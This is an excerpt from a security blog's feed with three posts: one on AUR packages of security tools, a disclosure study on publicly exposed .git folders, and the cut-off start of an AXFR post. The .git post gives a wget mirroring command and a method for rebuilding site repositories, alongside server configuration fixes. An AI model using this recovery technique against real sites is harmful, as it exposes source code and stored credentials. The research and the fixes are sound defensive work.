    <title type="html"><![CDATA[Contributing security tools to the AUR]]></title>
    <link href="https://en.internetwache.org/contributing-security-tools-to-the-aur-18-10-2015/"/>
    <updated>2015-10-18T17:52:00+02:00</updated>
    <id>https://en.internetwache.org/contributing-security-tools-to-the-aur</id>
    <content type="html"><![CDATA[<p>Sebastian reinstalled his Arch Linux recently and continued to build some <a href="https://aur.archlinux.org/">AUR (Arch user repository)</a> packages. He&#8217;ll share some of the security related ones with you.</p>

<!-- more -->


<p>The following tools are packaged and maintained by Sebastian:</p>

<h2>AXFR scanner</h2>

<p>After our research on the <a href="https://en.internetwache.org/scanning-alexas-top-1m-for-axfr-29-03-2015/">Alexa Top 1M AXFR issue</a>, we&#8217;ve published the <a href="https://github.com/internetwache/Python-AXFR-Test">AXFR scanner</a> on GitHub. You can now easily install this tool with a simple <code>yaourt axfrscanner-git</code>. The usage of the tool has changed slightly to be more usable as a commandline tool:</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
<span class='line-number'>6</span>
<span class='line-number'>7</span>
<span class='line-number'>8</span>
<span class='line-number'>9</span>
<span class='line-number'>10</span>
<span class='line-number'>11</span>
<span class='line-number'>12</span>
<span class='line-number'>13</span>
<span class='line-number'>14</span>
<span class='line-number'>15</span>
<span class='line-number'>16</span>
<span class='line-number'>17</span>
<span class='line-number'>18</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>$&gt; axfrscanner --help
</span><span class='line'>usage: axfrscanner [-h] [-i [INPUTFILE]] [-o [OUTPUTFILE]] [-l [LOGFILE]]
</span><span class='line'>                   [-p [PROCESSES]] [-d [DOMAIN]]
</span><span class='line'>
</span><span class='line'>Check domains' nameservers for public AXFR
</span><span class='line'>
</span><span class='line'>optional arguments:
</span><span class='line'>  -h, --help            show this help message and exit
</span><span class='line'>  -i [INPUTFILE], --inputfile [INPUTFILE]
</span><span class='line'>                        Inputfile to read domains from. Default: stdin
</span><span class='line'>  -o [OUTPUTFILE], --outputfile [OUTPUTFILE]
</span><span class='line'>                        Outputfile to write zonedata to. Default: stdout
</span><span class='line'>  -l [LOGFILE], --logfile [LOGFILE]
</span><span class='line'>                        Logfile to use. Default: stderr
</span><span class='line'>  -p [PROCESSES], --processes [PROCESSES]
</span><span class='line'>                        Processes to use. Default: 20
</span><span class='line'>  -d [DOMAIN], --domain [DOMAIN]
</span><span class='line'>                        Domain to check. Ignored if -i is used.</span></code></pre></td></tr></table></div></figure>


<h2>Heartbleed scanner</h2>

<p><a href="http://heartbleed.com/">Heartbleed</a> is a pretty scary vulnerability which was discovered in 2014 and since then has been used to extract private keys from various OpenSSL applications. Sebastian built a package called <code>heartbleedscanner-git</code> for the python tools offered by <a href="https://github.com/einaros/heartbleed-tools">einaros</a>. This package includes three different programs:</p>

<ul>
<li><code>heartbleedscanner</code> : OpenSSL Heartbleed (CVE-2014-0160) vulnerability scanner and data miner.</li>
<li><code>heartbleedscanner-keyscan</code>: Traverse memory dump, looking for prime factors.</li>
<li><code>heartbleedscanner-keydump</code>: Restore SSL priv key based on prime at specific dump file offset.</li>
</ul>


<h2>Poodle scanner</h2>

<p><a href="https://en.wikipedia.org/wiki/POODLE">Poodle</a> is the name of a vulnerability in the SSLv3 protocol. There&#8217;s now a package for the python poodle scanning tool from <a href="https://github.com/0xICF/POODLEScanner">0xICF</a> called <code>poodlescanner-git</code>. Usage:</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>$&gt; poodlescanner -H localhost
</span><span class='line'>localhost:443 SSLv3 [Errno 111] Connection refused</span></code></pre></td></tr></table></div></figure>


<h2>Useragent</h2>

<p>The package is named <code>useragent-git</code> and it&#8217;s  a small bash script (<a href="https://github.com/gehaxelt/SH-UserAgent">source on GitHub</a>) which can be used to print different useragents to stdout. This is often useful in combination with curl or wget.</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>$&gt; useragent -w
</span><span class='line'>Mozilla/5.0 (Windows NT 5.0; rv:10.0) Gecko/20100101 Firefox/10.0</span></code></pre></td></tr></table></div></figure>


<h2>Wordlist</h2>

<p>You can install <code>wordlist-git</code> which is a package for the <a href="https://github.com/rexos/wordlist">python wordlist generation script</a> by rexos. Different patterns can be provided.</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
<span class='line-number'>6</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>&gt; wordlist 0-9 -m 2 -M 3
</span><span class='line'>00
</span><span class='line'>01
</span><span class='line'>02
</span><span class='line'>[...]
</span><span class='line'>999</span></code></pre></td></tr></table></div></figure>


<h2>theHarvester</h2>

<p>The package <code>theharvester-git</code> contains a python script which can be used &#8220;for gathering e-mail accounts, subdomain names, virtualhosts, open ports/ banners, and employee names from different public sources(search engines, pgp key servers).&#8221;. More information can be found on the <a href="https://github.com/laramies/theHarvester">project&#8217;s repository</a>.</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
<span class='line-number'>6</span>
<span class='line-number'>7</span>
<span class='line-number'>8</span>
<span class='line-number'>9</span>
<span class='line-number'>10</span>
<span class='line-number'>11</span>
<span class='line-number'>12</span>
<span class='line-number'>13</span>
<span class='line-number'>14</span>
<span class='line-number'>15</span>
<span class='line-number'>16</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>Usage: theharvester options 
</span><span class='line'>
</span><span class='line'>       -d: Domain to search or company name
</span><span class='line'>       -b: data source: google, googleCSE, bing, bingapi, pgp, linkedin,
</span><span class='line'>                        google-profiles, jigsaw, twitter, googleplus, all
</span><span class='line'>
</span><span class='line'>       -s: Start in result number X (default: 0)
</span><span class='line'>       -v: Verify host name via dns resolution and search for virtual hosts
</span><span class='line'>       -f: Save the results into an HTML and XML file
</span><span class='line'>       -n: Perform a DNS reverse query on all ranges discovered
</span><span class='line'>       -c: Perform a DNS brute force for the domain name
</span><span class='line'>       -t: Perform a DNS TLD expansion discovery
</span><span class='line'>       -e: Use this DNS server
</span><span class='line'>       -l: Limit the number of results to work with(bing goes from 50 to 50 results,
</span><span class='line'>       -h: use SHODAN database to query discovered hosts
</span><span class='line'>            google 100 to 100, and pgp doesn't use this option)</span></code></pre></td></tr></table></div></figure>


<p>This was just the small list of packages which Sebastian contributed. There are of course other security related packages in the AUR:</p>

<ul>
<li><code>burpsuite</code>: Free version of burp</li>
<li><code>wpscan</code>: Wordpress vulnerability scanner</li>
<li><code>sqlmap</code>: SQL injection helper</li>
<li><code>subbrute</code>: DNS subdomain brute forcer</li>
<li><code>sslyze</code>: SSL testing tool</li>
<li><code>ffdec</code>: Flash decompiler</li>
<li><code>metasploit</code>: Metasploit framework</li>
<li><code>radare2</code>: Portable reversing framework</li>
<li>and many more</li>
</ul>


<p>Sebastian will keep contributing useful security packges to the AUR ;)</p>

<p>The team of internetwache.org</p>
]]></content>
  </entry>
  
  <entry>
    <title type="html"><![CDATA[Don't publicly expose .git or how we downloaded your website's sourcecode - An analysis of Alexa's 1M]]></title>
    <link href="https://en.internetwache.org/dont-publicly-expose-git-or-how-we-downloaded-your-websites-sourcecode-an-analysis-of-alexas-1m-28-07-2015/"/>
    <updated>2015-07-28T01:37:00+02:00</updated>
    <id>https://en.internetwache.org/dont-publicly-expose-git-or-how-we-downloaded-your-websites-sourcecode-an-analysis-of-alexas-1m</id>
    <content type="html"><![CDATA[<p>Sebastian participated in a CTF (capture the flag) a couple of months ago. One challenge he faced was the task of restoring a git repository from a directory listing enabled webserver. With directory listing, it was pretty easy, but Sebastian was curious if it&#8217;s possible to restore git respositories without directory listing and how common this misconfiguration flaw is.</p>

<p>With that idea in mind, we began to develop some tiny tools and started to do some research. The results were not as bad as anticipated, but nevertheless surprising.</p>

<!-- more -->


<h1>TL; DR</h1>

<p>Some websites host their version control repository (e.g. <code>.git/</code>) in production. Bad people can use tools to download/restore the repository to gain access to your website&#8217;s sourcecode. Check your webserver&#8217;s configuration now and make sure that it blocks access to these folders.</p>

<h1>What is a version control system?</h1>

<p>Decades ago programmers were facing a serious problem - (remotely) developing a tool together. In order to change this, version control systems (VCS) were created. The primary task of these is to make distributed work on one codebase possible. This can be achieved by keeping track of each code change (often called commit). One well-known VCS is called <code>git</code> and is maintained by the infamous Linus Torvalds. You probably also heard of the online code hosting platform <a href="https://github.com">github.com</a>, which offers to host your <code>git</code> repository.</p>

<p>During our research, we focused on the <code>git</code>-VCS:</p>

<ul>
<li><a href="https://git-scm.com/">Git</a></li>
</ul>


<p>There are plenty of other VCS which we&#8217;re not covering here, but the same issue may apply too</p>

<ul>
<li><a href="https://subversion.apache.org/">SVN (Apache Subversion)</a> - Another scan netted us about 900 vulnerable sites</li>
<li><a href="https://mercurial.selenic.com/">HG (Mercurial)</a></li>
<li><a href="http://bazaar.canonical.com/en/">Bazaar</a></li>
<li><a href="http://savannah.nongnu.org/projects/cvs">CVS (Concurrent Versions System)</a></li>
<li><a href="http://www.bitkeeper.com/">BitKeeper</a></li>
</ul>


<h1>Why is hosting your VCS in production bad?</h1>

<p>When deploying a web application, some administrators simply clone the repository. Most version control systems create a meta/tracking folder in the root directory of the project. For example:</p>

<ul>
<li><code>git</code> creates a <code>.git/</code> folder containig a full copy of the repository.</li>
<li>Others may follow a similar approach (e.g. SVN)</li>
</ul>


<p>You probably may get the idea what bad boys can do if you do not deny access to the client side repositories. Not only does it most certainly contain your website&#8217;s sourcecode and all previous revisions, but sometimes also configuration files with sensitive information. This gives attackers a kick-start for hacking your website, because they can use the sourceode to find more severe security issues.</p>

<h1>Downloading the website&#8217;s sourcecode</h1>

<p>So let&#8217;s get to the interesting part - How do we download and restore the aforementioned respositories to get access to the website&#8217;s sourcecode?
Basically there are two ways to do it:</p>

<ul>
<li>Easy way, if webserver has directory listing enabled</li>
<li>Hard way, otherwise</li>
</ul>


<p>As mentioned before, most version control systems manage the repository in a lot of small files (objects). The filenames are often the result of a hash function, so guessing them is hard. We need to find a way to obtain as many of those files as possible.</p>

<h2>The easy way</h2>

<p>First of all, it&#8217;s considered bad practice to have directory listing enabled on your production server.  If you have, stop reading and fix that first :) - but that&#8217;s not enough to stop the attacker. (see &#8220;The hard way&#8221;)</p>

<p>Directory-listing helps the attacker a lot, because all he has to do is to issue one command to download all files.</p>

<p><a rel="fancybox"href="/images/posts/git-directorylisting.png" class="fancybox" ><img src="https://en.internetwache.org/images/posts/small/git-directorylisting.png" alt="View of a .git directory with directory listing" title="Directory listing enabled" /></a></p>

<p>It&#8217;s enough to run the following wget command:</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>wget --mirror -I .git TARGET.COM/.git/ </span></code></pre></td></tr></table></div></figure>


<p>After the download has finished, switch into the new folder. A fancy shell (e.g. fish or zsh) should tell you that you&#8217;re in a git-tracked directory (see the &#8216;master&#8217;-branch hint).</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>/tmp/test/ttrss.me (0) (master)
</span><span class='line'>&gt; /usr/bin/ls -a
</span><span class='line'>. 
</span><span class='line'>..  
</span><span class='line'>.git</span></code></pre></td></tr></table></div></figure>


<p>Running <code>git status</code> shows only deleted files, because we only have downloaded the <code>.git</code> folder.</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
<span class='line-number'>6</span>
<span class='line-number'>7</span>
<span class='line-number'>8</span>
<span class='line-number'>9</span>
<span class='line-number'>10</span>
<span class='line-number'>11</span>
<span class='line-number'>12</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>/tmp/test/ttrss.me (0) (master)                                                                                                                                        
</span><span class='line'>&gt; git status | head -n 10 
</span><span class='line'>On branch master
</span><span class='line'>Your branch is up-to-date with 'origin/master'.
</span><span class='line'>Changes not staged for commit:
</span><span class='line'>  (use "git add/rm &lt;file&gt;..." to update what will be committed)
</span><span class='line'>  (use "git checkout -- &lt;file&gt;..." to discard changes in working directory)
</span><span class='line'>
</span><span class='line'>        deleted:       .buildpath
</span><span class='line'>        deleted:       .gitignore
</span><span class='line'>        deleted:       .htaccess
</span><span class='line'>        deleted:       .project</span></code></pre></td></tr></table></div></figure>


<p>After running <code>git checkout -- .</code> to reset the repository, we recovered all files.</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
<span class='line-number'>6</span>
<span class='line-number'>7</span>
<span class='line-number'>8</span>
<span class='line-number'>9</span>
<span class='line-number'>10</span>
<span class='line-number'>11</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>/tmp/test/ttrss.me (0) (master) 
</span><span class='line'>&gt; /usr/bin/ls | head -n 10
</span><span class='line'>apiatom-to-html.xsl
</span><span class='line'>backend.php
</span><span class='line'>cache
</span><span class='line'>classes
</span><span class='line'>config.php-dist
</span><span class='line'>css
</span><span class='line'>errors.php
</span><span class='line'>feed-icons
</span><span class='line'>image.php</span></code></pre></td></tr></table></div></figure>


<p>We have sucessfully obtained a copy of the website&#8217;s sourcecode.</p>

<h2>The hard way</h2>

<p>As mentioned before, our intentation was to see if there&#8217;s a way to download the repository without directory listing. For this, you have to dig a bit into the git-internals to understand how git is managing the repository.</p>

<p>We won&#8217;t go into too much detail here - we recommend the appropiate chapters on <a href="http://git-scm.com/book">git-scm.com/book</a> for interested readers -, but basically there are three kind of objects in a git repository:</p>

<ul>
<li>Blob - The actual data (e.g. sourcecode)</li>
<li>Tree - Grouping blobs together</li>
<li>Commit - A specific state of a tree with more meta information (e.g. author/date/message)</li>
</ul>


<p>All these together are used by git under the hood to maintain the repository. However, the problem that we face is, that these objects are stored as <code>.git/objects/[First-2-bytes]/[Last-38-bytes]</code>  files, where [First-2-bytes][Last-38-bytes] is the SHA1-hash of the object. We need to be smart and guess/extract the filenames of all objects to completely restore the repository, because brute forcing the SHA1 keyspace isn&#8217;t a good idea as it would be too time consuming.</p>

<p>What helps us a lot is the fact that there are some standard files in a git repository:</p>

<ul>
<li>HEAD</li>
<li>objects/info/packs</li>
<li>description</li>
<li>config</li>
<li>COMMIT_EDITMSG</li>
<li>index</li>
<li>packed-refs</li>
<li>refs/heads/master</li>
<li>refs/remotes/origin/HEAD</li>
<li>refs/stash</li>
<li>logs/HEAD</li>
<li>logs/refs/heads/master</li>
<li>logs/refs/remotes/origin/HEAD</li>
<li>info/refs</li>
<li>info/exclude</li>
</ul>


<p>These files either refer an object by its hash or another file referencing an object and so on. Thus the easiest way is to start with downloading and parsing the aforementioned files.  We need to parse these to  continue to download the object files.</p>

<p>So for example, we have downloaded the <code>refs/heads/master</code> file:</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>&gt; cat .git/refs/heads/master 
</span><span class='line'>6916ae52c0b20b04569c262275d27422fc4fcd34</span></code></pre></td></tr></table></div></figure>


<p>The reference <code>master</code> points to a commit with the hash <code>6916ae52c0b20b04569c262275d27422fc4fcd34</code>. After downloading the commit-object from the server (note the url should be <code>.git/objects/69/16ae52c0b20b04569c262275d27422fc4fcd34</code>), we can analyse it further:</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>&gt; git cat-file -t 6916ae52c0b20b04569c262275d27422fc4fcd34 
</span><span class='line'>commit</span></code></pre></td></tr></table></div></figure>


<p>This tells us, that the downloaded object is indeed a commit. Let&#8217;s get some details about it:</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
<span class='line-number'>6</span>
<span class='line-number'>7</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>&gt; git cat-file -p 6916ae52c0b20b04569c262275d27422fc4fcd34 
</span><span class='line'>tree fa3887a0b798346c122afdd7c5ecc605bf3c18c0
</span><span class='line'>parent 9264d57c621f66208d689ef653ce8a62c3bccfae
</span><span class='line'>author XY &lt;foo@bar&gt; 1429391394 +0200
</span><span class='line'>committer XY &lt;foo@bar&gt; 1429391394 +0200
</span><span class='line'>
</span><span class='line'>Added another readme file</span></code></pre></td></tr></table></div></figure>


<p>Okay, now we know the hash of the related tree and parent object as well as some information about the author, the committer and the commit message.</p>

<p>We download the tree-object and analyse it:</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>&gt; git cat-file -p fa3887a0b798346c122afdd7c5ecc605bf3c18c0
</span><span class='line'>040000 tree 532fc6055e09e0a2d5602f4b84c0dbadce1b5f3e        Dumper
</span><span class='line'>040000 tree 077ce769dedcf19d0f063246256e8ae0394fd8df        Extractor
</span><span class='line'>040000 tree d6e1bd4677a256e760cce5ddaa7db7ea6f9a8900        Finder
</span><span class='line'>100644 blob 9670cf17dfeec351c395493058044b9f9dadbe2a        README.md</span></code></pre></td></tr></table></div></figure>


<p>This tells us which files are stored in that tree. Note that <code>Dumper</code>, <code>Extractor</code> and <code>Finder</code> are also trees (directories). The final step is to download the README.md blob object and cat its content:</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>&gt; git cat-file -p 9670cf17dfeec351c395493058044b9f9dadbe2a
</span><span class='line'>Git Tools
</span><span class='line'>=============
</span><span class='line'>[...]</span></code></pre></td></tr></table></div></figure>


<p>We need to take special care of packed files. We can find a list of all packs in <code>.git/objects/info/packs</code></p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>&gt; cat .git/objects/info/packs 
</span><span class='line'>P pack-e38660e6be24bb79d8d929ddea3d194e0dd3cd13.pack</span></code></pre></td></tr></table></div></figure>


<p>The appropiate pack file is stored in <code>.git/objects/pack/</code>:</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>&gt; /usr/bin/ls .git/objects/pack/
</span><span class='line'>pack-e38660e6be24bb79d8d929ddea3d194e0dd3cd13.idx
</span><span class='line'>pack-e38660e6be24bb79d8d929ddea3d194e0dd3cd13.pack</span></code></pre></td></tr></table></div></figure>


<p>In that case, we need to download both files and then run the following command to extract the packed data:</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>&gt; git unpack-objects -r &lt; .git/objects/pack/pack-e38660e6be24bb79d8d929ddea3d194e0dd3cd13.pack
</span><span class='line'>Unpacking objects: 100% (15/15), done.</span></code></pre></td></tr></table></div></figure>


<p>As you can see, by doing this procedure recursively and for every possible hash, which we find in the already downloaded files, we can slowly restore the repository and extract the contents.</p>

<p>Sometimes downloading a specific object will fail, leaving us with an incomplete repository. In that case, we can use <code>git fsck</code> command to search for these missing/broken object files.</p>

<h2>Tools</h2>

<p>We&#8217;ve released our python/bash scripts used for this research on github: <a href="https://github.com/internetwache/GitTools">https://github.com/internetwache/GitTools</a></p>

<p>We used three different tools: A tool to discover, one to download and one to extract git repositories.</p>

<p>Preview of the recovery tool:</p>

<p><a href="https://asciinema.org/a/24072?autoplay=1" target="_blank"><img src="https://asciinema.org/a/24072.png" height="500"/></a></p>

<h1>Scanning Alexa&#8217;s Top 1M</h1>

<p>After running the &#8216;Finder&#8217; on the Alexa Top 1M list, we  found about 9700 public accessible Git repositories - that means that only &lt;1% is prone to to this kind of attack.</p>

<p>Taking a look at the research data, we discovered the following mayor-effected business sectors and websites:</p>

<ul>
<li>Big websites of german und US political parties / NGOs and a few governmental websites (.gov)</li>
<li>MTV-channels and radio stations (>20)</li>
<li>Online communities (one of it with >6 million users)</li>
<li>Trading websites (one with bitcoin and many other &#8220;banking websites&#8221;)</li>
<li>A very famous privacy online service</li>
<li>Soccer clubs of the german &#8220;Bundesliga&#8221;</li>
<li>Porn websites</li>
<li>Bigger and smaller online shops</li>
</ul>


<p>It seemed like an accessible git repository was intended on some websites - mostly open source projects where the website&#8217;s sourcecode is available online.</p>

<p>The more the Alexa rank descended, the higher was the probability of finding a website which was affected by this issue.</p>

<p><a rel="fancybox"href="/images/posts/alexa_rank_number_vuln.png" class="fancybox" ><img src="https://en.internetwache.org/images/posts/small/alexa_rank_number_vuln.png" alt="Alexa rank and cumulated vulnerable websites" title="Websites hosting .git by Alexa rank" /></a></p>

<p>Here is an overview of the most prominent top level domains.</p>

<p><a rel="fancybox"href="/images/posts/tlds.png" class="fancybox" ><img src="https://en.internetwache.org/images/posts/small/tlds.png" alt="TLDs of affected websites" title="Top level domains of affected websites" /></a></p>

<p>It&#8217;s interesting to see the distribution of protocols used. Especially that unencrypted protocols like <code>http</code> or <code>git</code> are used.</p>

<p><a rel="fancybox"href="/images/posts/protocols.png" class="fancybox" ><img src="https://en.internetwache.org/images/posts/small/protocols.png" alt="List of protocols used" title="Protocols used for git transmissions" /></a></p>

<p>A lot of vulnerable websites use either GitHub or BitBucket as the remote.</p>

<p><a rel="fancybox"href="/images/posts/git_hosts.png" class="fancybox" ><img src="https://en.internetwache.org/images/posts/small/git_hosts.png" alt="Most used repository hosting service" title="Code hosting services" /></a></p>

<p>Most common branch names. It&#8217;s interesting to see some <code>dev</code> / <code>develop</code> branches here.</p>

<p><a rel="fancybox"href="/images/posts/branches.png" class="fancybox" ><img src="https://en.internetwache.org/images/posts/small/branches.png" alt="List with used branch names" title="Most common branch names" /></a></p>

<p>On the other side, we had to hold our breath when we noticed that more than 100 projects used HTTP-Authentication for server-client communication.
That means, that the <code>protocol://user:password@host/repository</code> combination is saved in the <code>.git/config</code> file, giving attackers access to the users (companies) GitLab-instance or GitHub/BitBucket account. With a bit of luck an attacker gets access to the CI-Server and then runs malicious code to further compromise your infrastructure.</p>

<p>Other than that, we&#8217;ve found a lot of AWS/Database/SMTP/FTP credentials in some repositories.</p>

<h1>How to fix this issue?</h1>

<p>First: GIT is a great tool - if you use it right.
So not using GIT is no option, you should rather look at the access rights of your webserver - we have prepared a list to fix the issue.</p>

<p>It&#8217;s really easy to deny access to <code>.git</code> folders:</p>

<h2>Apache</h2>

<p>For 2.4:</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>&lt;DirectoryMatch "^/.*/\.git/"&gt;
</span><span class='line'>    Require all denied
</span><span class='line'>&lt;/DirectoryMatch&gt;</span></code></pre></td></tr></table></div></figure>


<p>For 2.2:</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>&lt;DirectoryMatch "^/.*/\.git/"&gt;
</span><span class='line'>    Order deny,allow
</span><span class='line'>    Deny from all
</span><span class='line'>&lt;/DirectoryMatch&gt;</span></code></pre></td></tr></table></div></figure>


<p>Put that into your <code>httpd.conf</code>.</p>

<h2>Nginx</h2>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>location ~ /.git/ {
</span><span class='line'>      deny all;
</span><span class='line'>}</span></code></pre></td></tr></table></div></figure>


<p>Put that as the first entry in your <code>server</code>-block in the <code>nginx.conf</code> file.</p>

<h2>Lighttpd</h2>

<p>First, you need to enable the <code>mod_access</code> module:</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>server.modules += ( "mod_access" )</span></code></pre></td></tr></table></div></figure>


<p>After that, we can block access to the <code>.git</code> folder:</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>$HTTP["url"] =~ "^/\.git/" {
</span><span class='line'>     url.access-deny = ("")
</span><span class='line'>}</span></code></pre></td></tr></table></div></figure>


<p>Put that into your <code>lighttpd.conf</code>.</p>

<p>Another approach is to use git&#8217;s <code>--git-dir</code> and <code>--work-tree</code> switches to move the git repository out of the document root.</p>

<h2>Microsoft IIS</h2>

<p>We were contact and given the hint that the following PowerShell commands will add <code>.git</code> to the Request Filtering hiddenSegments:</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>Import-Module IISAdministration
</span><span class='line'>$requestFiltering = Get-IISConfigSection -CommitPath 'Default Web Site' -SectionPath 'system.webServer/security/requestFiltering'
</span><span class='line'>$hiddenSegments = Get-IISConfigCollection -ConfigElement $requestFiltering -CollectionName 'hiddenSegments'
</span><span class='line'>New-IISConfigCollectionElement -ConfigCollection $hiddenSegments -ConfigAttribute @{ 'segment'='.git' }</span></code></pre></td></tr></table></div></figure>


<p>The resulting <code>web.config</code> should then contain the following:</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
<span class='line-number'>6</span>
<span class='line-number'>7</span>
<span class='line-number'>8</span>
<span class='line-number'>9</span>
<span class='line-number'>10</span>
<span class='line-number'>11</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>&lt;configuration&gt;
</span><span class='line'>    &lt;system.webServer&gt;
</span><span class='line'>        &lt;security&gt;
</span><span class='line'>            &lt;requestFiltering&gt;
</span><span class='line'>                &lt;hiddenSegments&gt;
</span><span class='line'>                    &lt;add segment=".git" /&gt;
</span><span class='line'>                &lt;/hiddenSegments&gt;
</span><span class='line'>            &lt;/requestFiltering&gt;
</span><span class='line'>        &lt;/security&gt;
</span><span class='line'>    &lt;/system.webServer&gt;
</span><span class='line'>&lt;/configuration&gt;</span></code></pre></td></tr></table></div></figure>


<h1>Conclusion</h1>

<p>There are a bunch of famous websites which do not deny access to the <code>/.git/</code> folder - anyone may download their sourcecode and possibly other sensitive data. This issue isn&#8217;t hard to mitigate, so take a minute to make sure that your webserver isn&#8217;t misconfigured.</p>

<p>Stay safe,
the team of internetwache.org</p>
]]></content>
  </entry>
  
  <entry>
    <title type="html"><![CDATA[Scanning Alexa's Top 1M for AXFR]]></title>
    <link href="https://en.internetwache.org/scanning-alexas-top-1m-for-axfr-29-03-2015/"/>
    <updated>2015-03-29T03:32:00+02:00</updated>
    <id>https://en.internetwache.org/scanning-alexas-top-1m-for-axfr</id>
    <content type="html"><![CDATA[<p>In this blogpost we will discuss a simple information disclosure problem called unauthorized AXFR. This can be used to leak DNS settings of a particular target, thus revealing internal / private considered DNS entries.</p>

<p>We&#8217;ve checked Alexa&#8217;s Top 1M for this kind of issue and came to some interesting results.</p>

<!-- more -->


<h1>What is AXFR?</h1>

<p><code>Asynchronous Xfer Full Range</code> is a mechanism used by the DNS system to transfer zone information for a domain from a master (primary) DNS server to several slave (secondary) DNS servers. A slave sends an AXFR-request
to the master which replies with all DNS information associated to a domain (zone).</p>

<h2>What could possibly go wrong?</h2>

<p>If the master server does not validate the source of an AXFR request, anyone will be able to download the DNS zone file from this server. Usually only the secondary servers should be allowed to download the zone information from the master server.</p>

<p>One could argue that all the information in a zone file is publicly available, because you can request it &#8220;easily&#8221;:</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
<span class='line-number'>6</span>
